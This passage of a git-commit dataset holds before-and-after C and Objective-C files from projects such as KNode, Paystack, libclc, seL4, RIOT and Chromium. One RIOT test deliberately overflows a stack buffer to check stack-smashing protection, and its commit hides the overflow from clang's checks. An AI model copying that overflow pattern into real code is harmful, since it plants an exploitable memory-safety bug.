or\n (at your option) any later version.\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software Foundation,\n Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, US\n*\/\n\n#ifndef KNGROUPPROPDLG_H\n#define KNGROUPPROPDLG_H\n\n#include \n\nclass QCheckBox;\nclass QComboBox;\n\nclass KLineEdit;\n\nclass KNGroup;\n\nnamespace KNConfig {\nclass IdentityWidget;\n};\n\n\nclass KNGroupPropDlg : public KDialogBase {\n\n public:\n KNGroupPropDlg(KNGroup *group, QWidget *parent=0, const char *name=0);\n ~KNGroupPropDlg();\n \n bool nickHasChanged() { return n_ickChanged; }\n \n protected:\n KNGroup *g_rp;\n bool n_ickChanged;\n KNConfig::IdentityWidget* i_dWidget;\n KLineEdit *n_ick;\n QCheckBox *u_seCharset;\n QComboBox *c_harset;\n \n protected slots:\n void slotOk();\n \n};\n\n#endif\n","subject":"Add forward declaration for QComboBox","message":"Add forward declaration for QComboBox\n\nsvn path=\/trunk\/kdenetwork\/knode\/; revision=144112\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"} {"commit":"649ae48e2b2c5b9e03379294fa93aa100c850e71","old_file":"Paystack\/Classes\/PublicHeaders\/Paystack.h","new_file":"Paystack\/Classes\/PublicHeaders\/Paystack.h","old_contents":"\/\/\n\/\/ Paystack.h\n\/\/ Paystack\n\/\/\n\/\/ Created by Ibrahim Lawal on 02\/02\/16.\n\/\/ Copyright (c) 2016 Paystack. All rights reserved.\n\/\/\n\/\/ The code in this workspace was adapted from https:\/\/github.com\/stripe\/stripe-ios. \n\/\/ Stripe was replaced with Paystack - and STP with PSTCK - to avoid collisions within \n\/\/ apps that are using both Paystack and Stripe.\n\n#import \n#import \n#import \n#import \n#import \n#import \n#import \n#import \n#import \n#import \n\n#if TARGET_OS_IPHONE\n#import \n#endif\n","new_contents":"\/\/\n\/\/ Paystack.h\n\/\/ Paystack\n\/\/\n\/\/ Created by Ibrahim Lawal on 02\/02\/16.\n\/\/ Copyright (c) 2016 Paystack. All rights reserved.\n\/\/\n\/\/ The code in this workspace was adapted from https:\/\/github.com\/stripe\/stripe-ios. \n\/\/ Stripe was replaced with Paystack - and STP with PSTCK - to avoid collisions within \n\/\/ apps that are using both Paystack and Stripe.\n\n#import \"PSTCKAPIClient.h\"\n#import \"PaystackError.h\"\n#import \"PSTCKCardBrand.h\"\n#import \"PSTCKCardParams.h\"\n#import \"PSTCKTransactionParams.h\"\n#import \"PSTCKCard.h\"\n#import \"PSTCKCardValidationState.h\"\n#import \"PSTCKCardValidator.h\"\n#import \"PSTCKToken.h\"\n#import \"PSTCKRSA.h\"\n\n#if TARGET_OS_IPHONE\n#import \"PSTCKPaymentCardTextField.h\"\n#endif\n","subject":"Update umbrella header file declaration","message":"Update umbrella header file declaration\n","lang":"C","license":"mit","repos":"PaystackHQ\/paystack-ios,PaystackHQ\/paystack-ios,PaystackHQ\/paystack-ios,PaystackHQ\/paystack-ios"} {"commit":"6e019dc5d59b16dd053e7519528f48bb2c7a24f4","old_file":"mtulio_d\/src\/mtuliod\/mtd_server_cmd_run.c","new_file":"mtulio_d\/src\/mtuliod\/mtd_server_cmd_run.c","old_contents":"","new_contents":"#include\n#include\n#include\n\n#define PFIX_CLI \"[MTd]\"\n#define MAX_BUF_SIZE 200\n\nint mtd_server_cmd_run_HOSTNAME(char *msg_cmd, char *message);\n\n\n\/* Get hostname *\/\nint mtd_server_cmd_run_HOSTNAME(char *msg_cmd, char *message)\n{\n\tFILE *fd;\n\tchar str_cmd[MAX_BUF_SIZE], str_buf[MAX_BUF_SIZE];\n\tmemset (str_cmd, 0, MAX_BUF_SIZE);\n\n\t\/* Create a command *\/\n\tsprintf(str_cmd, \"hostname\");\n\n\t\/* Run a command *\/\n\tfd = popen(str_cmd, \"r\");\n\tif (!fd) {\n\t\tsprintf(message, \"%s_%s ERR%% Error reading hostname.\", PFIX_CLI, msg_cmd);\n\t\treturn 1;\n\t}\n\n \/* Get command stdout *\/\n while (fgets (str_buf, sizeof (str_buf), fd) <= 0);\n\n pclose (fd);\n\n\tsprintf(message, \"%s_%s OK# Hostname is: %s\", PFIX_CLI, msg_cmd, str_buf);\n\treturn 0;\n\n}\n","subject":"Create file to implement commands","message":"Create file to implement commands\n","lang":"C","license":"apache-2.0","repos":"mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb"} {"commit":"06cfb4f02ad9f2561302f21f4f38ec5f5ed4372f","old_file":"SmartDeviceLink\/SDLMacros.h","new_file":"SmartDeviceLink\/SDLMacros.h","old_contents":"\/\/\n\/\/ SDLMacros.h\n\/\/ SmartDeviceLink-iOS\n\/\/\n\/\/ Created by Muller, Alexander (A.) on 10\/17\/16.\n\/\/ Copyright © 2016 smartdevicelink. All rights reserved.\n\/\/\n\n#ifndef SDLMacros_h\n#define SDLMacros_h\n\n\/\/ Resolves issue of pre-xcode 8 versions due to NS_STRING_ENUM unavailability.\n#ifndef SDL_SWIFT_ENUM\n #if __has_attribute(NS_STRING_ENUM)\n #define SDL_SWIFT_ENUM NS_STRING_ENUM\n #else\n #define SDL_SWIFT_ENUM\n #endif\n#endif\n\n#endif \/* SDLMacros_h *\/\n","new_contents":"\/\/\n\/\/ SDLMacros.h\n\/\/ SmartDeviceLink-iOS\n\/\/\n\/\/ Created by Muller, Alexander (A.) on 10\/17\/16.\n\/\/ Copyright © 2016 smartdevicelink. All rights reserved.\n\/\/\n\n#ifndef SDLMacros_h\n#define SDLMacros_h\n\n\/\/ Resolves issue of pre-xcode 8 versions due to NS_STRING_ENUM unavailability.\n#ifndef SDL_SWIFT_ENUM\n #if __has_attribute(swift_wrapper)\n #define SDL_SWIFT_ENUM NS_STRING_ENUM\n #else\n #define SDL_SWIFT_ENUM\n #endif\n#endif\n\n#endif \/* SDLMacros_h *\/\n","subject":"Revert \"Changed macro to look specifically for NS_STRING_ENUM\"","message":"Revert \"Changed macro to look specifically for NS_STRING_ENUM\"\n\nThis reverts commit de01a9f7b3ed63f683604d3595568bacf5f54a5e.\n","lang":"C","license":"bsd-3-clause","repos":"APCVSRepo\/sdl_ios,FordDev\/sdl_ios,FordDev\/sdl_ios,kshala-ford\/sdl_ios,kshala-ford\/sdl_ios,APCVSRepo\/sdl_ios,kshala-ford\/sdl_ios,APCVSRepo\/sdl_ios,FordDev\/sdl_ios,kshala-ford\/sdl_ios,smartdevicelink\/sdl_ios,smartdevicelink\/sdl_ios,APCVSRepo\/sdl_ios,kshala-ford\/sdl_ios,APCVSRepo\/sdl_ios,smartdevicelink\/sdl_ios,smartdevicelink\/sdl_ios,FordDev\/sdl_ios,smartdevicelink\/sdl_ios,FordDev\/sdl_ios"} {"commit":"4346c30bae8b1a64acba564f6775cb0bacd026e4","old_file":"generic\/include\/clc\/integer\/definitions.h","new_file":"generic\/include\/clc\/integer\/definitions.h","old_contents":"#define CHAR_BIT 8\n#define INT_MAX 2147483647\n#define INT_MIN -2147483648\n#define LONG_MAX 0x7fffffffffffffffL\n#define LONG_MIN -0x8000000000000000L\n#define SCHAR_MAX 127\n#define SCHAR_MIN -128\n#define CHAR_MAX 127\n#define CHAR_MIN -128\n#define SHRT_MAX 32767\n#define SHRT_MIN -32768\n#define UCHAR_MAX 255\n#define USHRT_MAX 65535\n#define UINT_MAX 0xffffffff\n#define ULONG_MAX 0xffffffffffffffffUL\n","new_contents":"#define CHAR_BIT 8\n#define INT_MAX 2147483647\n#define INT_MIN ((int)(-2147483647 - 1))\n#define LONG_MAX 0x7fffffffffffffffL\n#define LONG_MIN (-0x7fffffffffffffffL - 1)\n#define CHAR_MAX SCHAR_MAX\n#define CHAR_MIN SCHAR_MIN\n#define SCHAR_MAX 127\n#define SCHAR_MIN ((char)(-127 - 1))\n#define SHRT_MAX 32767\n#define SHRT_MIN ((short)(-32767 - 1))\n#define UCHAR_MAX 255\n#define USHRT_MAX 65535\n#define UINT_MAX 0xffffffff\n#define ULONG_MAX 0xffffffffffffffffUL\n","subject":"Update integer limits to comply with spec","message":"integer: Update integer limits to comply with spec\n\nThe values for the char\/short\/integer\/long minimums were declared with\ntheir actual values, not the definitions from the CL spec (v1.1). As\na result, (-2147483648) was actually being treated as a long by the\ncompiler, not an int, which caused issues when trying to add\/subtract\nthat value from a vector.\n\nUpdate the definitions to use the values declared by the spec, and also\nadd explicit casts for the char\/short\/int minimums so that the compiler\nactually treats them as shorts\/chars. Without those casts, they\nactually end up stored as integers, and the compiler may end up storing\nthe INT_MIN as a long.\n\nThe compiler can sign extend the values if it needs to convert the\nchar->short, short->int, or int->long\n\nv2: Add explicit cast for INT_MIN and fix some type-o's and wrapping\n in the commit message.\n\nReported-by: Moritz Pflanzer \nCC: Moritz Pflanzer \nReviewed-by: Tom Stellard \nSigned-off-by: Aaron Watry \n\ngit-svn-id: e7f1ab7c2a259259587475a3e7520e757882f167@247661 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc"} {"commit":"75463d8bb33ca74e64842c871740002fbc32c902","old_file":"src\/ios\/BEMServerSyncCommunicationHelper.h","new_file":"src\/ios\/BEMServerSyncCommunicationHelper.h","old_contents":"\/\/\n\/\/ DataUtils.h\n\/\/ CFC_Tracker\n\/\/\n\/\/ Created by Kalyanaraman Shankari on 3\/9\/15.\n\/\/ Copyright (c) 2015 Kalyanaraman Shankari. All rights reserved.\n\/\/\n\n#import \n#import \n\n@interface BEMServerSyncCommunicationHelper: NSObject\n\/\/ Top level method\n+ (void) backgroundSync:(void (^)(UIBackgroundFetchResult))completionHandler;\n\n\/\/ Wrappers around the communication methods\n+ (void) pushAndClearUserCache:(void (^)(BOOL))completionHandler;\n+ (void) pullIntoUserCache:(void (^)(BOOL))completionHandler;\n+ (void) pushAndClearStats:(void (^)(BOOL))completionHandler;\n\n\/\/ Communication methods (copied from communication handler to make it generic)\n+(void)phone_to_server:(NSArray*) entriesToPush\n completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n+(void)server_to_phone:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n+(void)setClientStats:(NSDictionary*)statsToSend completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n\n+ (NSInteger)fetchedData:(NSData *)responseData;\n@end\n","new_contents":"\/\/\n\/\/ DataUtils.h\n\/\/ CFC_Tracker\n\/\/\n\/\/ Created by Kalyanaraman Shankari on 3\/9\/15.\n\/\/ Copyright (c) 2015 Kalyanaraman Shankari. All rights reserved.\n\/\/\n\n#import \n#import \n\ntypedef void (^SilentPushCompletionHandler)(UIBackgroundFetchResult);\n\n@interface BEMServerSyncCommunicationHelper: NSObject\n\/\/ Top level method\n+ (void) backgroundSync:(SilentPushCompletionHandler)completionHandler;\n\n\/\/ Wrappers around the communication methods\n+ (void) pushAndClearUserCache:(void (^)(BOOL))completionHandler;\n+ (void) pullIntoUserCache:(void (^)(BOOL))completionHandler;\n+ (void) pushAndClearStats:(void (^)(BOOL))completionHandler;\n\n\/\/ Communication methods (copied from communication handler to make it generic)\n+(void)phone_to_server:(NSArray*) entriesToPush\n completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n+(void)server_to_phone:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n+(void)setClientStats:(NSDictionary*)statsToSend completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n\n+ (NSInteger)fetchedData:(NSData *)responseData;\n@end\n","subject":"Move the SilentPushCompletionHandler typedef in here","message":"Move the SilentPushCompletionHandler typedef in here\n\nSince it is likely to be used as part of background sync\n","lang":"C","license":"bsd-3-clause","repos":"e-mission\/cordova-server-sync,e-mission\/cordova-server-sync,e-mission\/cordova-server-sync"} {"commit":"43e02f563314f179b1221921034c145887a968fa","old_file":"include\/lyra2.h","new_file":"include\/lyra2.h","old_contents":"#pragma once\n\n#include \n#include \n\n#define PHS_NCOLS 64\n\nint lyra2(char *key, uint32_t keylen, const char *pwd, uint32_t pwdlen, const char *salt, uint32_t saltlen, uint32_t R, uint32_t C, uint32_t T);\nint PHS(void *out, size_t outlen, const void *in, size_t inlen, const void *salt, size_t saltlen, unsigned int t_cost, unsigned int m_cost);\n","new_contents":"#pragma once\n\n#include \n#include \n\n#define PHS_NCOLS 256\n\nint lyra2(char *key, uint32_t keylen, const char *pwd, uint32_t pwdlen, const char *salt, uint32_t saltlen, uint32_t R, uint32_t C, uint32_t T);\nint PHS(void *out, size_t outlen, const void *in, size_t inlen, const void *salt, size_t saltlen, unsigned int t_cost, unsigned int m_cost);\n","subject":"Use 256 cols when in PHS mode.","message":"Use 256 cols when in PHS mode.\n","lang":"C","license":"mit","repos":"guilherme-pg\/lyra2,guilherme-pg\/lyra2,eggpi\/lyra2,eggpi\/lyra2,eggpi\/lyra2,guilherme-pg\/lyra2"} {"commit":"c2a85cdcb14b4b04619593261a49c310a8f59185","old_file":"libsel4\/arch_include\/x86\/sel4\/arch\/mapping.h","new_file":"libsel4\/arch_include\/x86\/sel4\/arch\/mapping.h","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef __LIBSEL4_ARCH_MAPPING\n#define __LIBSEL4_ARCH_MAPPING\n\n#define SEL4_MAPPING_LOOKUP_LEVEL 2\n#define SEL4_MAPPING_LOOKUP_NO_PT 22\n\nstatic inline seL4_Word seL4_MappingFailedLookupLevel()\n{\n return seL4_GetMR(SEL4_MAPPING_LOOKUP_LEVEL);\n}\n\n#endif\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef __LIBSEL4_ARCH_MAPPING\n#define __LIBSEL4_ARCH_MAPPING\n\n#include \n\n#define SEL4_MAPPING_LOOKUP_LEVEL 2\n#ifdef CONFIG_PAE_PAGING\n#define SEL4_MAPPING_LOOKUP_NO_PT 21\n#define SEL4_MAPPING_LOOKUP_NO_PD 30\n#else\n#define SEL4_MAPPING_LOOKUP_NO_PT 22\n#endif\n\nstatic inline seL4_Word seL4_MappingFailedLookupLevel()\n{\n return seL4_GetMR(SEL4_MAPPING_LOOKUP_LEVEL);\n}\n\n#endif\n","subject":"Define different lookup levels for PAE","message":"libsel4: Define different lookup levels for PAE\n","lang":"C","license":"bsd-2-clause","repos":"cmr\/seL4,zhicheng\/seL4,cmr\/seL4,cmr\/seL4,zhicheng\/seL4,zhicheng\/seL4"} {"commit":"47107014052cf2345f4d22066e236582f4bbc0a9","old_file":"tests\/ssp\/main.c","new_file":"tests\/ssp\/main.c","old_contents":"\/*\n * Copyright (C) 2016 Kaspar Schleiser \n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @ingroup tests\n * @{\n *\n * @file\n * @brief ssp test application\n *\n * This test should crash badly when *not* using the ssp module, and panic if\n * using it.\n *\n * @author Kaspar Schleiser \n *\n * @}\n *\/\n\n#include \n#include \n\nvoid test_func(void)\n{\n char buf[16];\n\n \/* cppcheck-suppress bufferAccessOutOfBounds\n * (reason: deliberately overflowing stack) *\/\n memset(buf, 0, 32);\n}\n\nint main(void)\n{\n puts(\"calling stack corruption function\");\n\n test_func();\n\n puts(\"back to main\");\n\n return 0;\n}\n","new_contents":"\/*\n * Copyright (C) 2016 Kaspar Schleiser \n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @ingroup tests\n * @{\n *\n * @file\n * @brief ssp test application\n *\n * This test should crash badly when *not* using the ssp module, and panic if\n * using it.\n *\n * @author Kaspar Schleiser \n *\n * @}\n *\/\n\n#include \n#include \n\nvoid test_func(void)\n{\n char buf[16];\n\n \/* clang will detect the buffer overflow\n * and throw an error if we use `buf` directly *\/\n void *buffer_to_confuse_compiler = buf;\n\n \/* cppcheck-suppress bufferAccessOutOfBounds\n * (reason: deliberately overflowing stack) *\/\n memset(buffer_to_confuse_compiler, 0, 32);\n}\n\nint main(void)\n{\n puts(\"calling stack corruption function\");\n\n test_func();\n\n puts(\"back to main\");\n\n return 0;\n}\n","subject":"Fix on macOS while compiling w\/ clang","message":"tests\/ssp: Fix on macOS while compiling w\/ clang\n\nOn macOS using Apple LLVM version 9.0.0 this test would\nnot compile due to clang detecting the buffer overflow.\nSince this test is all about having a buffer overflow, I\ntricked clang into not detecting this anymore.\n\nThis loosely relates to #6473.\n","lang":"C","license":"lgpl-2.1","repos":"mfrey\/RIOT,smlng\/RIOT,miri64\/RIOT,authmillenon\/RIOT,miri64\/RIOT,rfuentess\/RIOT,avmelnikoff\/RIOT,jasonatran\/RIOT,basilfx\/RIOT,LudwigOrtmann\/RIOT,roberthartung\/RIOT,basilfx\/RIOT,biboc\/RIOT,rfuentess\/RIOT,cladmi\/RIOT,jasonatran\/RIOT,BytesGalore\/RIOT,basilfx\/RIOT,toonst\/RIOT,biboc\/RIOT,smlng\/RIOT,toonst\/RIOT,immesys\/RiSyn,OlegHahm\/RIOT,biboc\/RIOT,immesys\/RiSyn,adrianghc\/RIOT,adrianghc\/RIOT,kbumsik\/RIOT,immesys\/RiSyn,RIOT-OS\/RIOT,authmillenon\/RIOT,yogo1212\/RIOT,immesys\/RiSyn,immesys\/RiSyn,ant9000\/RIOT,yogo1212\/RIOT,neiljay\/RIOT,ant9000\/RIOT,kbumsik\/RIOT,rfuentess\/RIOT,avmelnikoff\/RIOT,mfrey\/RIOT,mtausig\/RIOT,toonst\/RIOT,mtausig\/RIOT,gebart\/RIOT,x3ro\/RIOT,neiljay\/RIOT,yogo1212\/RIOT,jasonatran\/RIOT,A-Paul\/RIOT,basilfx\/RIOT,Josar\/RIOT,kYc0o\/RIOT,ks156\/RIOT,Josar\/RIOT,mtausig\/RIOT,aeneby\/RIOT,toonst\/RIOT,smlng\/RIOT,biboc\/RIOT,ant9000\/RIOT,lazytech-org\/RIOT,ant9000\/RIOT,RIOT-OS\/RIOT,kYc0o\/RIOT,OlegHahm\/RIOT,authmillenon\/RIOT,LudwigKnuepfer\/RIOT,kaspar030\/RIOT,avmelnikoff\/RIOT,LudwigOrtmann\/RIOT,authmillenon\/RIOT,miri64\/RIOT,authmillenon\/RIOT,josephnoir\/RIOT,ks156\/RIOT,cladmi\/RIOT,miri64\/RIOT,roberthartung\/RIOT,Josar\/RIOT,BytesGalore\/RIOT,OlegHahm\/RIOT,RIOT-OS\/RIOT,aeneby\/RIOT,neiljay\/RIOT,OTAkeys\/RIOT,aeneby\/RIOT,LudwigOrtmann\/RIOT,smlng\/RIOT,A-Paul\/RIOT,yogo1212\/RIOT,josephnoir\/RIOT,gebart\/RIOT,aeneby\/RIOT,BytesGalore\/RIOT,OTAkeys\/RIOT,josephnoir\/RIOT,miri64\/RIOT,gebart\/RIOT,ant9000\/RIOT,adrianghc\/RIOT,cladmi\/RIOT,mfrey\/RIOT,kaspar030\/RIOT,BytesGalore\/RIOT,kbumsik\/RIOT,x3ro\/RIOT,Josar\/RIOT,authmillenon\/RIOT,kbumsik\/RIOT,adrianghc\/RIOT,immesys\/RiSyn,LudwigOrtmann\/RIOT,rfuentess\/RIOT,LudwigKnuepfer\/RIOT,OTAkeys\/RIOT,RIOT-OS\/RIOT,lazytech-org\/RIOT,jasonatran\/RIOT,toonst\/RIOT,kaspar030\/RIOT,x3ro\/RIOT,LudwigOrtmann\/RIOT,A-Paul\/RIOT,roberthartung\/RIOT,A-Paul\/RIOT,avmelnikoff\/RIOT,roberthartung\/RIOT,BytesGalore\/RIOT,ks156\/RIOT,mtausig\/RIOT,gebart\/RIOT,RIOT-OS\/RIOT,kbumsik\/RIOT,neiljay\/RIOT,cladmi\/RIOT,yogo1212\/RIOT,rfuentess\/RIOT,OlegHahm\/RIOT,biboc\/RIOT,gebart\/RIOT,roberthartung\/RIOT,OTAkeys\/RIOT,mtausig\/RIOT,ks156\/RIOT,kYc0o\/RIOT,ks156\/RIOT,LudwigKnuepfer\/RIOT,mfrey\/RIOT,jasonatran\/RIOT,x3ro\/RIOT,x3ro\/RIOT,cladmi\/RIOT,mfrey\/RIOT,adrianghc\/RIOT,smlng\/RIOT,lazytech-org\/RIOT,OTAkeys\/RIOT,lazytech-org\/RIOT,avmelnikoff\/RIOT,aeneby\/RIOT,OlegHahm\/RIOT,kYc0o\/RIOT,LudwigOrtmann\/RIOT,kaspar030\/RIOT,Josar\/RIOT,LudwigKnuepfer\/RIOT,yogo1212\/RIOT,josephnoir\/RIOT,josephnoir\/RIOT,basilfx\/RIOT,kaspar030\/RIOT,A-Paul\/RIOT,neiljay\/RIOT,LudwigKnuepfer\/RIOT,lazytech-org\/RIOT,kYc0o\/RIOT"} {"commit":"b981ad885a6f4e0a79506451157c1459141320f5","old_file":"exception_handling_3.c","new_file":"exception_handling_3.c","old_contents":"\/*\n * Author: NagaChaitanya Vellanki\n *\n * TRY\/THROW\/CATCH\/FINALLY - example\n * Reference: http:\/\/www.di.unipi.it\/~nids\/docs\/longjump_try_trow_catch.html\n *\n *\/\n\n#include \n#include \n#include \n\n\n#define FOO_EXCEPTION (1)\n#define BAR_EXCEPTION (2)\n#define GOO_EXCEPTION (3)\n\n#define TRY do{ jmp_buf env; switch(setjmp(env)) { case 0: while(1) {\n#define CATCH(exception) break; case exception:\n#define FINALLY break; } default:\n#define END_TRY } }while(0)\n#define THROW(exception) longjmp(env, exception)\n\nint main(int argc, char *argv[]) {\n\n TRY {\n printf(\"In TRY statement\\n\");\n THROW(GOO_EXCEPTION);\n printf(\"not reachable\\n\");\n }\n CATCH(FOO_EXCEPTION) {\n printf(\"FOO exception caught\\n\");\n }\n CATCH(BAR_EXCEPTION) {\n printf(\"BAR exception caught\\n\");\n }\n CATCH(GOO_EXCEPTION) {\n printf(\"GOO exception caught\\n\");\n }\n FINALLY {\n printf(\"Finally \\n\");\n }\n END_TRY;\n\n exit(EXIT_SUCCESS);\n}\n","new_contents":"\/*\n * Author: NagaChaitanya Vellanki\n *\n * TRY\/THROW\/CATCH\/FINALLY - example\n * Reference: http:\/\/www.di.unipi.it\/~nids\/docs\/longjump_try_trow_catch.html\n *\n * use gcc -E -P exception_handling_3.c to see the result of the preprocessing\n * step\n *\/\n\n#include \n#include \n#include \n\n\n#define FOO_EXCEPTION (1)\n#define BAR_EXCEPTION (2)\n#define GOO_EXCEPTION (3)\n\n#define TRY do{ jmp_buf env; switch(setjmp(env)) { case 0: while(1) {\n#define CATCH(exception) break; case exception:\n#define FINALLY break; } default:\n#define END_TRY } }while(0)\n#define THROW(exception) longjmp(env, exception)\n\nint main(int argc, char *argv[]) {\n\n TRY {\n printf(\"In TRY statement\\n\");\n THROW(GOO_EXCEPTION);\n printf(\"not reachable\\n\");\n }\n CATCH(FOO_EXCEPTION) {\n printf(\"FOO exception caught\\n\");\n }\n CATCH(BAR_EXCEPTION) {\n printf(\"BAR exception caught\\n\");\n }\n CATCH(GOO_EXCEPTION) {\n printf(\"GOO exception caught\\n\");\n }\n FINALLY {\n printf(\"Finally \\n\");\n }\n END_TRY;\n\n exit(EXIT_SUCCESS);\n}\n","subject":"Add command to see output of preprocessor","message":"Add command to see output of preprocessor\n","lang":"C","license":"isc","repos":"chaitanyav\/cprograms,chaitanyav\/cprograms"} {"commit":"2f5741458f22ed495dd05f989be98b62f18108d9","old_file":"timer.h","new_file":"timer.h","old_contents":"#ifndef TIMER_H_\n#define TIMER_H_ 1\n\n\/*\n * By default, the timer calls the function a few extra times that aren't\n * measured to get it into cache and ensure more consistent running times.\n * Specifying this option in flags will stop this.\n *\/\n#define TIMER_NO_EXTRA 1\n\nstruct timer {\n unsigned long long ns;\n unsigned int reps;\n};\n\n\/*\n * Measures function 'func'. Sets timer->ns to the number of nanoseconds it took,\n * and timer->reps to the number of repetitions. Uses the existing values of\n * timer->ns and timer->reps as maximums - it won't do any more repetitions or take\n * significantly more time than those specify. However, you can set one of them\n * to 0 to make it unlimited. 0 is returned on success, -1 on failure.\n *\/\nint\ntimer_measure(void (*func)(void), struct timer *timer, int flags);\n\n\/\/ These next functions are shortcuts that use timer_measure and use the\n\/\/ default flags.\n\nint\ntimer_measure_ms(void (*func)(void), unsigned long long ms,\n struct timer *timer);\n\nint\ntimer_measure_reps(void (*func)(void), unsigned int reps, struct timer *timer);\n\n#endif\n","new_contents":"#ifndef TIMER_H_\n#define TIMER_H_ 1\n\n\/*\n * By default, the timer calls the function a few extra times that aren't\n * measured to get it into cache and ensure more consistent running times.\n * Specifying this option in flags will stop this.\n *\/\n#define TIMER_NO_EXTRA 1\n\n\/*\n * By default, each of these functions assumes that the function is single\n * threaded. Specify this option to make sure that timing is done properly with\n * multi-threaded functions.\n *\/\n#define TIMER_MULTI_THREAD 2\n\n\/*\n * The timer might create new processes to isolate the code being timed.\n * Specifying this flag prevents any new processes from being created.\n *\/\n#define TIMER_NOPROC 4\n\n\/*\n * The timer might create new threads to isolate the code being timed.\n * Specifying this flag prevents any new threads from being created.\n *\/\n#define TIMER_NOTHREAD 8\n\nstruct timer {\n unsigned long long ns;\n unsigned int reps;\n};\n\n\/*\n * Measures function 'func'. Sets timer->ns to the number of nanoseconds it took,\n * and timer->reps to the number of repetitions. Uses the existing values of\n * timer->ns and timer->reps as maximums - it won't do any more repetitions or take\n * significantly more time than those specify. However, you can set one of them\n * to 0 to make it unlimited. 0 is returned on success, -1 on failure.\n *\/\nint\ntimer_measure(void (*func)(void), struct timer *timer, int flags);\n\n\/\/ These next functions are shortcuts that use timer_measure and use the\n\/\/ default flags. They just use 'timer' as an out argument.\n\nint\ntimer_measure_ms(void (*func)(void), unsigned long long ms,\n struct timer *timer);\n\nint\ntimer_measure_reps(void (*func)(void), unsigned int reps, struct timer *timer);\n\n#endif\n","subject":"Add more flags and documentation","message":"Add more flags and documentation\n","lang":"C","license":"mit","repos":"joeljk13\/Timer,joeljk13\/Timer"} {"commit":"64286c63308db83935b5112b4adc2524f7c7f28f","old_file":"chrome\/browser\/extensions\/extension_management_api_constants.h","new_file":"chrome\/browser\/extensions\/extension_management_api_constants.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n#define CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n#pragma once\n\nnamespace extension_management_api_constants {\n\n\/\/ Keys used for incoming arguments and outgoing JSON data.\nextern const char kAppLaunchUrlKey[];\nextern const char kDescriptionKey[];\nextern const char kEnabledKey[];\nextern const char kDisabledReasonKey[];\nextern const char kHomepageUrlKey[];\nextern const char kHostPermissionsKey[];\nextern const char kIconsKey[];\nextern const char kIdKey[];\nextern const char kIsAppKey[];\nextern const char kNameKey[];\nextern const char kOfflineEnabledKey[];\nextern const char kOptionsUrlKey[];\nextern const char kPermissionsKey[];\nextern const char kMayDisableKey[];\nextern const char kSizeKey[];\nextern const char kUpdateUrlKey[];\nextern const char kUrlKey[];\nextern const char kVersionKey[];\n\n\/\/ Values for outgoing JSON data.\nextern const char kDisabledReasonPermissionsIncrease[];\nextern const char kDisabledReasonUnknown[];\n\n\/\/ Error messages.\nextern const char kExtensionCreateError[];\nextern const char kGestureNeededForEscalationError[];\nextern const char kManifestParseError[];\nextern const char kNoExtensionError[];\nextern const char kNotAnAppError[];\nextern const char kUserCantDisableError[];\nextern const char kUserDidNotReEnableError[];\n\n} \/\/ namespace extension_management_api_constants\n\n#endif \/\/ CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n#define CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n#pragma once\n\nnamespace extension_management_api_constants {\n\n\/\/ Keys used for incoming arguments and outgoing JSON data.\nextern const char kAppLaunchUrlKey[];\nextern const char kDisabledReasonKey[];\nextern const char kHostPermissionsKey[];\nextern const char kIconsKey[];\nextern const char kIsAppKey[];\nextern const char kPermissionsKey[];\nextern const char kSizeKey[];\nextern const char kUpdateUrlKey[];\nextern const char kUrlKey[];\n\n\/\/ Values for outgoing JSON data.\nextern const char kDisabledReasonPermissionsIncrease[];\nextern const char kDisabledReasonUnknown[];\n\n\/\/ Error messages.\nextern const char kExtensionCreateError[];\nextern const char kGestureNeededForEscalationError[];\nextern const char kManifestParseError[];\nextern const char kNoExtensionError[];\nextern const char kNotAnAppError[];\nextern const char kUserCantDisableError[];\nextern const char kUserDidNotReEnableError[];\n\n} 